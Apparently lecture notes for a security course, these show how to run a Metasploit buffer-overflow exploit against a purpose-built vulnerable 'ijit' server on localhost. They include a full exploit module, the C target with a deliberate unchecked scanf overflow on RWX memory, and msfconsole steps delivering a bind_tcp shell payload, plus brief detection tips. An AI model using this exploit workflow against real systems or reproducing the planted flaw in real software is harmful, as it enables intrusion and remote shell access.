Buffer Overflow Part 3: Metasploit

• Metasploit covers a wide range of attack types, from classic buffer overflows to phishing-type web forgeries.
  
• The distribution model is freemium / "open core": you can pay to get more automation and reporting features.

    msfconsole

Using a Buffer Overflow Exploit Module

cd
git clone https://github.com/olawlor/security
out=~/.msf4/modules/exploits/linux
mkdir -p $out
cd $out
ln -s ~/security/ijit/ijit.rb . 

cd ~/security/ijit
gcc ijit.c -o ijit64 
nc -l -p 8888 | ./ijit64

msfconsole
use exploit/linux/ijit
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x64/simple
show payloads
set payload linux/x64/shell/bind_tcp
exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ijit Demo Buffer Overflow',
      'Description'    => %q{
         Simple demo buffer overflow for custom "ijit" server.
      },
      'Author'         => [ 'OSL' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', 'xxxx-yyyy' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x20\x0a\x0d\x0b\x0c\x09",
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'ijit buffer start', { 'Ret' => 0x3badc040 } ],
          [ 'ijit sled middle', { 'Ret' => 0x3badc240 } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'November 2020'))

    register_options(
      [
        Opt::RPORT(8888)
      ])
  end

  def exploit
    print_status("Connecting to target...")
    connect

    sock.get_once

    shellcode = payload.encoded
    outbound = rand_text_alphanumeric(32) + payload.encoded + [target.ret].pack('Q') 
    print_status("Outbound data: \"#{outbound}\"")
    hexed = shellcode.dump
    print_status("Payload in hex: \"#{hexed}\"")

    print_status("Trying target #{target.name}...")

    sock.put(outbound)

    handler
    disconnect
  end
end

/**
 ijit:  interactive Just-In-Time compiler
 UNIX program designed to be a relatively reliable simple target 
 for buffer overflow attacks.
 Compile and run on TCP port 8888 with:
	gcc ijit.c -o ijit
	nc -l -p 8888 | ./ijit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

struct ijit_code;

/** This function pointer runs the jit'd code */
typedef void (*ijit_interpreter)(struct ijit_code *code);

/** This struct stores a block of jit code */
struct ijit_code {
	char name[32]; /* run name */
	char jitted[1024]; /* machine code to run */
	ijit_interpreter interp; /* fallback interpreter function */
};

int main() {
	/* Allocate executable area to store JIT code: */
	struct ijit_code *code=(struct ijit_code *)mmap(
		(void *)0x3badc000, /* pointer to base address of new jit_code structure */
		4096, /* bytes of code to run */
		PROT_READ|PROT_WRITE|PROT_EXEC, /* allow anything: RWX */
		MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, /* allocate memory where I say */
		-1, 0 /* file descriptor and offset not used. */
	);
	if (code==(struct ijit_code *)-1) {
		perror("mmap"); exit(1);
	}
	
	/* Set up structure */
	code->interp=0; 
	printf("Loading name into code struct at %p...\n",(void *)code);
	
	/* VULNERABILTY HERE: read name *without* checking name length. */
	if (1!=scanf("%s",code->name)) {
		printf("ERROR in scanf.  Exiting.\n"); exit(1);
	}
	printf("Loaded name %s (%zd bytes)\n", code->name, strlen(code->name));
	
	/* Run the code */
	if (code->interp) {
		printf("Seems to be an interpreter at %p: running it...\n",(void *)code->interp);
		code->interp(code);
		printf("Back from interpreter.\n");
	} else {
		printf("No interpreter found.  Exiting.\n");
	}
	return 0;
}

• I can set the memory protection to allow read, write, and execute simultaneously.  This is semi-realistic, since most just-in-time compilers initially do this, although lately smart people have been adding W^X policy support to things like Firefox JIT: pages get mapped rw, filled with machine code, then flipped over to rx before they're run.  Attackers work around W^X using things like rop chains.
  
• I can define the memory start address directly, here 0x3badc000.  This lets my example avoid the complexity of things like ASLR that are designed to make addresses hard to guess.  This isn't very realistic, but real attackers can often evade ASLR using techniques like heapspray, or just guessing enough bits.

Defender: Ways to notice Metasploit

• For a simple bind_tcp payload, the process name listening will be "sh" (for the shell).  No shell should be doing network operations on a correctly operating machine!
  
• This is just the default, a sophisticated attacker can use any port, for example:
• set LPORT 443
• set LPORT 53
• set LPORT 31337
• or forward the command and control via some other means, like a stego image at a legit-looking web page.
  

32-bit Equivalent

cd ~/security/ijit
gcc -m32 ijit.c -o ijit32 
nc -l -p 8888 | ./ijit32

msfconsole
use exploit/linux/ijit/ijit 
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x86/single_byte
show payloads
set payload linux/x86/shell/bind_tcp
exploit

Debug: Making the Database Connection

• service postgresql start
• /opt/metasploit-framework/embedded/bin/postgres -D ~/.msf4/db/

• db_status
• db_connect -y ~/.msf4/database.yml
• db_status